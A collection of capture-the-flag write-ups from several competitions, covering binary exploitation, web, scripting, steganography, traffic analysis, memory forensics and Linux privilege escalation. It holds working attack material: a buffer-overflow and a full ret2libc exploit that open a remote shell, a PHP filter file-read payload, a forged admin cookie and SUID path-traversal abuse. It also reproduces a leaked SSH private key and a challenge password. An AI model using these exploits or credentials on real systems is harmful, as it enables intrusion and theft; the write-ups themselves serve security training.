UBKFsvv88wZaQRPSHQZXaR+4I+2ilejkbA9qSR4W3p7M0vo6fIPG4PMQsCpiZvMTUTecG3
QiVwIGuTObo3VyYIoZ1rVZaHUWmUtrpBPujVnD8eiXSlKRaHS7cDvGwWjxb5o1vSe4VuOE
xI3H1NnzTWcHi94fv9Nk8asR6kXD/wAAAAMBAAEAAAGANjG+keAAzQ/i0QdocaDFPEMmoG
Zf2M79wGYFk1VCELPVzaD59ziLxeqlm5lfLgIkWaLZjMKrjx+uG8OqHhYuhLFR/mB5l9th
DU8TCsJ09qV0xRVJIl1KCU/hoIa+2+UboHmzvnbL/yH8rbZdCHseim1MK3LJyxBQoa50UH
pTrgx+QGgUkaxi1+QMXs+Ndqq9xVEy36YCY+mVbJw4VAhFr6SmkLfNGgGJ0SCnX6URWlHM
JQkn5Ay6Z6rZSUnhn0sAMNhgBzFGhY3VhpeP5jPYBIbtJUgZ51vDlCQoCBYqXQXOCuLQMB
Efy1uKW+aH0e0Gh07NZyy5AyxHWEtq/zWUJpDrXsmdqbyOW/WX/lAusGkSNj1TPGRcqUl1
4CPJugXgMWWuUuQoRChtKFObCCl7CpjdUdvbKyWDy+Uie/xGZ+dOrU/u4WrwZkkqGKvA6g
SAd6v/RxAdVhaL0xjnPXCgM8e4p9B7EuW3Jy9d15eaGtNp9fpY+SpH4KbHoRom9tXxAAAA
wC2p2qsvXEbiriXaX0WdGa6OYcbr9z5DnG6Kkpwf3K0fb4sm3qvcCrt7owHwiSB1Uy1hng
hLUmUlEgMvVzO0gi/YFCatryIeT9oyQP4wUOLLSSUc4KYg9KuX5crS1Qfo2crAPhkm1n+l
LdiqjAYUB8kL+vU9EuHt0mUA6yrWaVAl4zNP3DOlpB54/v/0yKBEPyHBalU/jv2++NlTRa
FsmU7PV8GD0YuvuHJAVfpnBb8/u4ugpBXciQOS/s734h087QAAAMEA6k6WMSNAmM6SAI2X
5HqwHa19V2AvUUIS0pKbx8Gx3htKq4kHi4Q+tYYAdPFInFO5yauD3/Iv95PakOpiBwTXb1
KK7pzgayc/1ZUN/gHbOgY8WghRY4mnxUg1jQWprlv+Zpk/Il6BdW5db/PmcdQ47yf9IxBA
zcBSCECB1KKFXGUuM3hLowyY77IxQZkZo3VHkkoKhbewQVA6iZacfBlXmEPo9yBNznPG2G
KsjrIILz2ax44dJNeB2AJOvI8i+3vXAAAAwQDWpRmP9vLaVrm1oA8ZQPjITUQjO3duRux2
K16lOPlYzW2mCGCKCd4/dmdpowYCG7ly9oLIZR+QKL8TaNo5zw/H6jHdj/nP//AoEAIFmQ
S+4fBN5i0cfWxscqo7LDJg0zbGtdNp8SXUQ/aGFuRuG85SBw4XRtZm4SKe/rlJuOVl/L+i
DZiW4iU285oReJLTSn62415qOytcbp7LJVxGe7PPWQ4OcYiefDmnftsjEuMFAE9pcwTI9C
xTSB/z4XAJNBkAAAAKam9obkB4cHMxNQE=
-----END OPENSSH PRIVATE KEY-----

Another was in .bash_history:

ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033

So this was fairly clear; this key was used to SSH into the website on port 50033. I copied the SSH key into a file called key, ran chmod 700 to change the permissions so that it allowed me to use it to SSH, and connected.

ssh -i key nahamcontron@jh2i.com -p 50033

Once in, all we had to do was cat flag.txt.

flag{nahamcontron_is_on_the_grid}

Pwn

Dangerous

Disassembling it with radare2 and gdb doesn't really seem to spit out anything interesting (as the binary is stripped), but we can use string to see that flag.txt is within the binary. This hints that there is actually something there.

So, to check it out, I disassembled the binary in GHidra. Sure enough, FUN_0040130e had some basic C code to read the file and output the results.

void FUN_0040130e(void)

{
  char local_218 [524];
  int local_c;
  
  local_c = open("./flag.txt",0);
  read(local_c,local_218,0x200);
  close(local_c);
  puts(local_218);
  return;
}

All we had to do was overflow the buffer and execute the function.

Using ragg2 I found that the padding was 497 bytes.

from pwn import *

p = remote('jh2i.com', 50011)

p.clean(0.2)

payload = b'A' * 497
payload += p64(0x40130e)

p.sendline(payload)

print(p.clean(1))

flag{legend_of_zelda_overflow_of_time}

Scripting

Rotten

Rotten simply required you to use a caesar cipher to decode the text it sent you. Luckily, once decoded, all the text contained the word send and this allowed us to filter out the correct shift.

import socket
from caesarcipher import CaesarCipher

host = "jh2i.com"
port = 50034


count = 0
flag = [" "] * 30
print(len(flag))

while True:
    s =  socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    while True:
        try:
            data = s.recv(1024).decode("utf-8")
            for i in range(1, 27, 1):
                x = CaesarCipher(data, offset=i).encoded
                if "send" in x:
                    break
            
            if count > 0:
                pos = x.split(" ")[6]
                char = x.split(" ")[11].replace("\n","")
                print(pos, char)
                flag[int(pos)] = char

            s.sendall(data.encode())

            if len(data) == 0:
                break
            
            count += 1
        except:    
            print("error", flag)
            s.close()
            count = 0
            break
    if " " not in flag:
        break
        u = ""
        for i in flag:
            u += i
        print(u)

Really Powerful Gnomes

This challenge wasn't really anything special, just automate the process of fighting bosses until you have enough money to get a new weapon, rinse and repeat until you get the "tank" which can defeat the gnomes, when you do that the flag is printed.

from pwn import *

p = remote('jh2i.com', 50031)
initial = p.clean(1).decode("UTF-8")

p.sendline("6")
p.sendline("1")
new = p.clean(1).decode("utf-8")

for i in range(0, 2500):
  p.sendline("5")

p.sendline("6")
p.sendline("4")
next = p.clean(1).decode("utf-8")
print(next)

for i in range(0, 3000):
  p.sendline("2")

p.interactive()

Steganography

KSteg

The title and description implies that K is replaced with J.

So, we install the tool jsteg and simply run jsteg reveal luke.jpg.

flag{yeast_bit_steganography_oops_another_typo}

Web

PHPhone Book

Visiting the site, you can see that the location phphonebook.php is referenced, however visiting the url as suggested (/index.php/?file=phphonebook.php ) it returns a blank page.

However, there is a trick to get around this - if you add a php filter on it so it encodes the content to base64 as demonstrated below: /index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php

This returns the source code which contains a very interesting piece of php.

extract($_POST);

if (isset($emergency)){
    echo(file_get_contents("/flag.txt"));
}

This essentially means, if there is a variable in the POST request named emergency, it will retrieve the contents of /flag.txt. We did this in two ways, with BurpSuite and with curl, but the curl request was much more simple, all was needed was: curl -X POST 'http://jh2i.com:50002/index.php/?file=phphonebook.php' -d 'emergency=999' | grep flag

Voila, the flag is returned. A relatively simple challenge, but it was definitely interesting to learn about the base64 filter.

Official Business

Going to /robots.txt reveals the server source code, along with some authentication checks.

We didn't really do this the intended way.

Set the auth cookie to

auth=7b2275736572223a202261646d696e222c202270617373776f7264223a202270617373222c202261646d696e223a20747275652c2022646967657374223a2022686173686c69622e736861353132287365637265745f6b6579202b206279746573286a736f6e2e64756d707328636f6f6b69652c20736f72745f6b6579733d54727565292c205c2261736369695c2229292e6865786469676573742829227d

which is the encoded form of

{'user': 'admin', 'password': 'pass', 'admin': True, 'digest': 'hashlib.sha512(secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")).hexdigest()'}

This makes the SHA512 comparison always true, allowing you to log in as the admin.

Localghost

Take apart the javascript.

In there there is a reference to flag with some base64 next to it.

Decoding the base64 gives us the flag.

Agent 95

Change your User-Agent to the Windows 95 profile and you see the flag.

BSides Delhi

Thanks for Attending

Thanks for attending BSides, have a nice day!

Resources

900KB
thanksforattending.zip
archive
Thanks for Attending

Analysis

As soon as we get the file, we see we can cause a segmentation fault:

$ ./chall 

It's been fun, but here we are at the final challenge!
May I know your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
It's been nice meeting you, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Segmentation fault

Using a De Bruijn Sequence, we calculate the offset until the saved return pointer to be 40.

As there is no PIE, our approach will be a standard ret2plt followed by a ret2libc.

Exploitation

First for the basic setup:

from pwn import *

elf = context.binary = ELF('./chall')

if args.REMOTE:
    p = remote('13.233.104.112', 2222)
    libc = ELF('./libc-remote.so')
else:
    p = process()
    libc = elf.libc

Now we can start the initial ret2plt. Interestingly, the elf.plt dotdict does not work for some reason (some kind of parsing bug, I assume) so I had to hardcode in the PLT entries (which is fine, since there's no PIE):

payload = flat(
    'A' * 40,
    0x080490a0,             # puts@PLT
    elf.sym['main'],
    elf.got['puts']
)

p.recvuntil('name?\n')
p.sendline(payload)

Pretty simple - 40 characters up until the saved return pointer, a call to puts@plt and we set puts@got as the parameter to this as a way of leaking libc. Finally we set the return address to the location of main - allowing us to have another run with the ret2libc.

Now we just need to parse the output:

p.recvline()
puts_leak = u32(p.recv(4))

log.success(f'Puts@libc: {hex(puts_leak)}')
libc.address = puts_leak - libc.sym['puts']
log.success(f'libc: {hex(libc.address)}')

p.clean()

Now we can finish it off with the ret2libc:

payload = flat(
    'A' * 40,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)
p.interactive()

Final Exploit

from pwn import *

elf = context.binary = ELF('./chall')

if args.REMOTE:
    p = remote('13.233.104.112', 2222)
    libc = ELF('./libc-remote.so')
else:
    p = process()
    libc = elf.libc

# context.log_level = 'debug'

payload = flat(
    'A' * 40,
    0x080490a0,             # puts@PLT
    elf.sym['main'],
    elf.got['puts']
)

p.recvuntil('name?\n')
p.sendline(payload)
p.recvline()
puts_leak = u32(p.recv(4))

log.success(f'Puts@libc: {hex(puts_leak)}')
libc.address = puts_leak - libc.sym['puts']
log.success(f'libc: {hex(libc.address)}')

p.clean()

payload = flat(
    'A' * 40,
    libc.sym['system'],
    libc.sym['exit'],
    next(libc.search(b'/bin/sh'))
)

p.sendline(payload)
p.interactive()

Delivering it

$ python3 exploit.py REMOTE

[+] Puts@libc: 0xf7dad3d0
[+] libc: 0xf7d46000
[*] Switching to interactive mode
It's been nice meeting you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]
$ ls
chall
flag
run.sh
$ cat flag
BSDCTF{3xpl0r1ng_th3_unkn0wn}

Flag: BSDCTF{3xpl0r1ng_th3_unkn0wn}

Cookie Robot

You know what to do, collect them all.

Initial Recon

As the title suggested, first check out robots.txt:

User-agent: * 
Disallow: /cookie.php

Now head over to cookie.php:

Nothing interesting, but again, the name of the page is a huge hint. Using Inspect Element, we can check document.cookie and find out that we have cookies:

"Our_Fav_Cookie=8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643; Piece=6"

The Piece=1 cookie implies that there are more, so we can refresh the page. As expected, we get another cookie.

Dumping all the cookies

We can create a super simple python script to dump them all:

from requests import Session

sess = Session()

while True:
    r = sess.get('http://15.206.202.26/cookie.php')
    cookies = r.cookies.get_dict()
    print(cookies)

The Piece cookies go up to 39 before starting again from 0, so we assume there are 39. We now dump all 39 of them and save them to a file.

Decoding

As they are hex, we first attempt some hex decoding, but that is unsuccessful. The next idea is to check if they are valid hashes, which they are! It appears as if each cookie is simply a hash of a letter of the flag, and we can dump all of the hashes here.

c4694f2e93d5c4e7d51f9c5deb75e6cc8be5e1114178c6a45b6fc2c566a0aa8c : O
f67ab10ad4e4c53121b6a5fe4da9c10ddee905b978d3788d2723d7bfacbe28a9 : F
4ae81572f06e1b88fd5ced7a1a000945432e83e1551e6f721ee9c00b8cc33260 : Q
5c62e091b8c0565f1bafad0dad5934276143ae2ccef7a5381e8ada5b1a8d26d2 : P
333e0a1e27815d0ceee55c473fe3dc93d56c63e3bee2b3b4aee8eed6d70191a3 : G
8de0b3c47f112c59745f717a626932264c422a7563954872e237b223af4ad643 : S
021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96 : {
5c62e091b8c0565f1bafad0dad5934276143ae2ccef7a5381e8ada5b1a8d26d2 : P
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9 : 0
[...]

Now we can save this in cracked and use some basic bash to isolate the individual letters and print them all out.

cat cracked | awk -F ' : ' '{print $2}' > flag
for line in $(cat flag); do echo -n $line; done

And we get the output

OFQPGS{P00x135_ne3_o35g_cy4p3_70_pu3px}

This looks a lot like ROT13, and once decoded from it we get the flag.

Flag: BSDCTF{C00k135_ar3_b35t_pl4c3_70_ch3ck}

hacktoberctf

Traffic Analysis

aka working with pcaps

Evil Corp's Child 1, 2 and 3

Evil Corp's Child 1:

Briefing:

What is the MD5 hash of the Windows executable file?

NOTE: If you extract any files within this challenge, please delete the file after you have completed the

Link to pcap file:

link: https://tinyurl.com/y3oltdh5
password: hacktober

Right so they started off easy. Opening up the pcap I used the http display filter to show packets of this protocol:

Opening up the details for the first packet, we can see the full request URL at http://www.sinotes.com/wp-content/themes/avada/picture4.png. I then ran wgethttp://www.sinotes.com/wp-content/themes/avada/picture4.pngto download the file. As the brief suggests, this is not a png but rather a windows executable. Therefore renaming it to ecorp.exe and running the command md5sum ecorp.exe gives us the flag of flag{a95d24937acb3420ee94493db298b295}.

Evil Corp's Child 2:

Briefing:

The malware uses four different ip addresses and ports for communication, what IP uses the same port as https?  Submit the flag as: flag{ip address}.

Use the file from Evil Corp's Child.

Here, we need to use some display filters to refine our search. Firstly, we know it uses the same port as HTTPS. This is port 443. Secondly, We're talking about the malware and know that the infected client's ip is 192.168.1.91 from challenge 1. Putting this into a display filter would look like this:

Although there are quite a few packets, there are only so many different ips, so trying about 5 got me the correct answer, which was flag{213.136.94.177} .

Evil Corp's Child 3:

Briefing:

What is the localityName in the Certificate Issuer data for HTTPS traffic to 37.205.9.252?

Use the file from Evil Corp's Child.

This was an interesting one. After some googling, I found out that Certificates are sent during tls handshakes, as TLS is used to encrypt HTTP traffic, making it HTTPS. The Display filter i needed to show these packets was tls.handshake.type == 11.

As said in the brief, we need the packet from the source IP 37.205.9.252 . Therefore expaning this packet's details, then TLSv1.2 Record Layer: Handshake Protocol: Certificate then Handshake Protocol: Certificate then Certificates then subject: rdnSequence (0) finally gives us the LocalityName.

In the bottom right is the LocalityName

flag{Mogadishu}

By das :)

Remotely Administered Evil 1 and 2

link to file:

file: https://tinyurl.com/y4z72k5o
Password: hacktober

Remotely Administered Evil 1:

Briefing:

What is the name of the executable in the malicious url? Submit the filename as the flag: flag{virus.bad}.

Simply opening it up in wireshark, we can see the flag-

flag{solut.exe}

Remotely Administered Evil 2:

Briefing:

What MYDDNS domain is used for the post-infection traffic in RATPack.pcap?
Use the file from Remotely Administrated Evil.

All you need to do here is filter for dns traffic. Because there weren't too many packets, I spotted the flag almost immediately and didn't have to filter further.

flag{solution.myddns.me}

An Evil Christmas Carol 1 and 2

Link to file:

File: https://tinyurl.com/y259doyq
Password: hacktober

An Evil Christmas Carol 1:

Briefing:

A malicious dll was downloaded over http in this traffic, what was the ip address that delivered this file?

Like the others, you can just filter for http traffic and get the flag:

flag{205.185.125.104}

An Evil Christmas Carol 2:

Briefing:

What is the domain used by the post-infection traffic over HTTPS?
Use the file from An Evil Christmas Carol.

We're looking for a domain, so it must be a dns query. Therefore filtering for DNS traffic and specifying the ip (10.0.0.163 as this is the infected client from part 1, and the infected client must've made the query) we can get the flag-

flag{vlcafxbdjtlvlcduwhga.com}

By das

Forensics

Some of the Forensics Challenges from Hacktoberfest CTF 2020.

Captured Memories

We found some unusual activity coming from an employee's Windows 10 workstation at De Monne Financial. Our IT guy saved the memory dump to the file provided below. What was the PID of the program used

For this challenge, you get given a mem.raw file. So initially this along with the title screams memory forensics and so the main program that comes to mind is Volatility, if unfamiliar with this tool, it can be best described as a memory forensics tool to help you look at memory captures of RAM. This tool should be automatically installed on Kali, but other distros should follow install instructions found on the GitHub page (linked above).

It is worth noting I used Volatility 2 in this writeup, the syntax for Volatility 3 is similar, just replace volatility with vol3 it could also be worth noting that depending on your install, you might need to run it as volatility.py

So to start with you run the following command with a memdump/raw format, the imageinfo plugin will provide basic information on the memory capture:

volatility -f mem.raw imageinfo > raw_imageinfo.txt

Breaking this command down we have the name of the program volatility followed by -f which tells volatility to take in the file mem.raw, then as outlined above the imageinfo plugin gives us basic information on the image. I then personally followed it with > raw_imageinfo.txt just so I have it saved in a text file should i need it earlier. This is not essential, however i reccomend it, especially for when Volatility can have a lot of input, it also gives you the power of tools like grep and awk.

Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_17134, Win10x64_14393, Win10x64_10586, Win10x64_16299, Win2016x64_14393, Win10x64_17763, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/REDACTED/Downloads/mem.raw)
                      PAE type : No PAE
                           DTB : 0x1aa000L
                          KDBG : 0xf8001e43d520L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8001d4e2000L
                KPCR for CPU 1 : 0xffffd40032268000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-06-26 15:51:36 UTC+0000
     Image local date and time : 2020-06-26 08:51:36 -0700

Then we take the profile, normally we take the first however it won't always work, luckily ,in this case, it was the first profile which is Win10x64_1734.

We then run the following command as we were told we needed the PID so automatically i decided to look at the processes, now this can be done with either the pstree plugin or the pslist plugin, the difference is mainly that pstree gives us a more visual representation of which process was launched by which, whereas pslist lists them all. I chose pstree, the command is shown below:

volatility -f raw.mem --profile=Win10x64_1734 pstree > raw_pstree.txt 

Breaking this down, we have the volatility -f raw.mem as I mentioned before which initialises Volatility along with specifying the file. The big difference here is that we now specify a profile as shown by the --profile=Win10x64_1734 part of our command, when we ran imageinfo we took the profile and now we need to specify it to Volatility to run further plugins. The next part of our command is pstree which as outlined above creates a tree of all processes on the system. I then also save this in a file again with > raw_pstree.txt which helps me with things like grep but also means I only need to run this command once. Below is a shortened output for the sake of the writeup:

Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffff87868e88d440:System                              4      0    111      0 2020-06-26 15:07:32 UTC+0000
. 0xffff878690147040:smss.exe                         348      4      2      0 2020-06-26 15:07:32 UTC+0000
. 0xffff87868e975040:Registry                          88      4      3      0 2020-06-26 15:07:23 UTC+0000
. 0xffff878690ccc040:MemCompression                  1168      4     50      0 2020-06-26 15:07:58 UTC+0000
 0xffff878690495080:wininit.exe                       528    424      1      0 2020-06-26 15:07:45 UTC+0000
. 0xffff8786904cd080:services.exe                     648    528      6      0 2020-06-26 15:07:46 UTC+0000
.. 0xffff8786914d2580:TrustedInstall                 2572    648      5      0 2020-06-26 15:43:20 UTC+0000
.. 0xffff878690c8d580:svchost.exe                    1052    648     18      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690c2d580:svchost.exe                      60    648     64      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786909b0580:sihost.exe                    2672     60     15      0 2020-06-26 15:08:51 UTC+0000
... 0xffff87868fa02580:wuauclt.exe                   5288     60      7      0 2020-06-26 15:43:18 UTC+0000
... 0xffff8786909e1580:taskhostw.exe                 2764     60     10      0 2020-06-26 15:08:52 UTC+0000    

Now if we scroll down we see the below process:

.... 0xffff87868f2e1080:winpmem_v3.3.r               3348    784      5      0 2020-06-26 15:51:36 UTC+0000     

I assumed this was the process as we know it was a Windows system from the challenge description. So for the flag, we simply took the PID which was 3348, which we then submitted as the flag in the form specified which was: flag{3348}.

Writeup created by Chris Harris (cjharris).

Amcaching In

The amcache can be a pretty handy tool to help build out a timeline of execution during an investigation, and is always located in \%SystemRoot%\AppCompat\Programs\Amcache.hve what was the application

So the description for this challenge briefly explains what amcache is, and also gives a link to a file.

If you want more information on Amcache, this is a great link.

So upon research, I found RegRipper can be used to do this, however, there are plenty of other great tools out there. The one I decided to use for this challenge was AmCacheParser.

AmCacheParser runs on Windows and is basically a tool to analyse and "parse" Amcache. so the command we run this through the windows command prompt.

AmcacheParser.exe -f "Amcache.hve" --csv OutputFolder

We run the above command in the AmcacheParser folder. To break this down we run AmcacheParser.exe taking the -f argument which tells the tool which file to take as an input, we then specify the file given which was Amcache.hve. We also need to give an output for the files, this is the --csv part of the command and we specify the folder next. This will run the tool and the output will be in the file OutputFolder, or whatever you chose to name it.

We know have a lot of excel files.

So as the above image shows, we now have a lot of Excel files to sort through, I first re-read the description to see what we needed and it led me to look in the 20201017155041_Amcache_UnassociatedFileEntries entry, which looks a bit like this:

There is lots of data here given to us from the AmcacheParser tool.

Once here i then used the find tool (CTRL + F) to search for mpowers which was the user given to us by the description. Below are the entries for mpowers, more specifically from the full path column.

Full Path:

c:\users\mpowers\appdata\local\temp\d930e9b6-7d1b-4a5d-804e-ce667e431ff9\dismhost.exe

c:\users\mpowers\desktop\ftk imager\ftk imager.exe

c:\users\mpowers\downloads\python-3.7.0-amd64-webinstall.exe

c:\users\mpowers\appdata\local\temp\4{b04d01b2-0174-4ef5-8fb5-84584c0964f5}.be\python-3.7.0-amd64-webinstall.exe

c:\users\mpowers\appdata\local\temp\4{4a1d9cda-5382-4f04-b44d-51927f9c602a}.cr\python-3.7.0-amd64-webinstall.exe

c:\users\mpowers\desktop\sub-win-x64_104.148.109.124_5682_3262.exe

So as shown above, we have quite a lot of file paths. We were told to find what he installed, so I instantly looked deeper at the python install executables. It is very clear he installed Python on the system so i tried the flag as flag{python} and we scored the flag.

Writeup created by Chris Harris (@cjharris18)

Linux

Talking To The Dead

Flags 1, 2, 3 and 4

Author: syyntax

We've obtained access to a server maintained by spookyboi. There are four flag files that we need you to read and submit (flag1.txt, flag2.txt, etc). Submit the contents of flag1.txt.

ssh hacktober@env.hacktober.io

Password: hacktober-Underdog-Truth-Glimpse

Flags 1 and 2:

SSHing in and running the command whoami we see we're logged in as luciafer.

Navigating to /home/luciafer/Documents, I ran ls -alt and the output was as follows:

luciafer@40504779afeb:~/Documents$ ls -alt
total 20
drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 .
-rw-rw-r-- 1 luciafer luciafer   47 Oct  6 08:36 .flag2.txt
-rw-rw-r-- 1 luciafer luciafer   47 Oct  5 14:55 flag1.txt
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..

Since luciafer owns both these files, I can simply run cat flag1.txt and cat .flag2.txt to get the flags.

flag 1: flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c} flag 2: flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}

Flags 3 and 4:

After looking around, I found flag3.txt located at /home/spookyboi/Documents/flag3.txt and flag4.txt at /root/flag4.txt. Since luciafer doesn't have sufficient perms to read these files, I ran the command find / -perm -u=s -type f 2>/dev/null to find SUID files.

SUID is a special file permission for executable files, which enables other users to run the file with effective permissions of the file owner. This means we could privilege escalate to root or a higher privileged user, giving us perms to read the flag files.

This was the output:

luciafer@40504779afeb:/root$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/local/bin/ouija
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

The program ouija jumped out to me, so i tried running it:

luciafer@40504779afeb:/root$ /usr/local/bin/ouija
OUIJA 6.66 - Read files in the /root directory
Usage: ouija [FILENAME]
EXAMPLES:
    ouija file.txt
    ouija read.meluciafer@40504779afeb:/root$

Excellent! it reads files in the /root directory, meaning we simply go

luciafer@40504779afeb:/root$ /usr/local/bin/ouija flag4.txt
flag{4781cbffd13df6622565d45e790b4aac2a4054dc}

We use the same program to get the flag from flag3.txt as so:

luciafer@40504779afeb:/root$ /usr/local/bin/ouija ../home/spookyboi/Documents/flag3.txt 
flag{445b987b5b80e445c3147314dbfa71acd79c2b67}

Note: as we start in the /root directory, so must go back one (../) to navigate to flag3.txt.

By das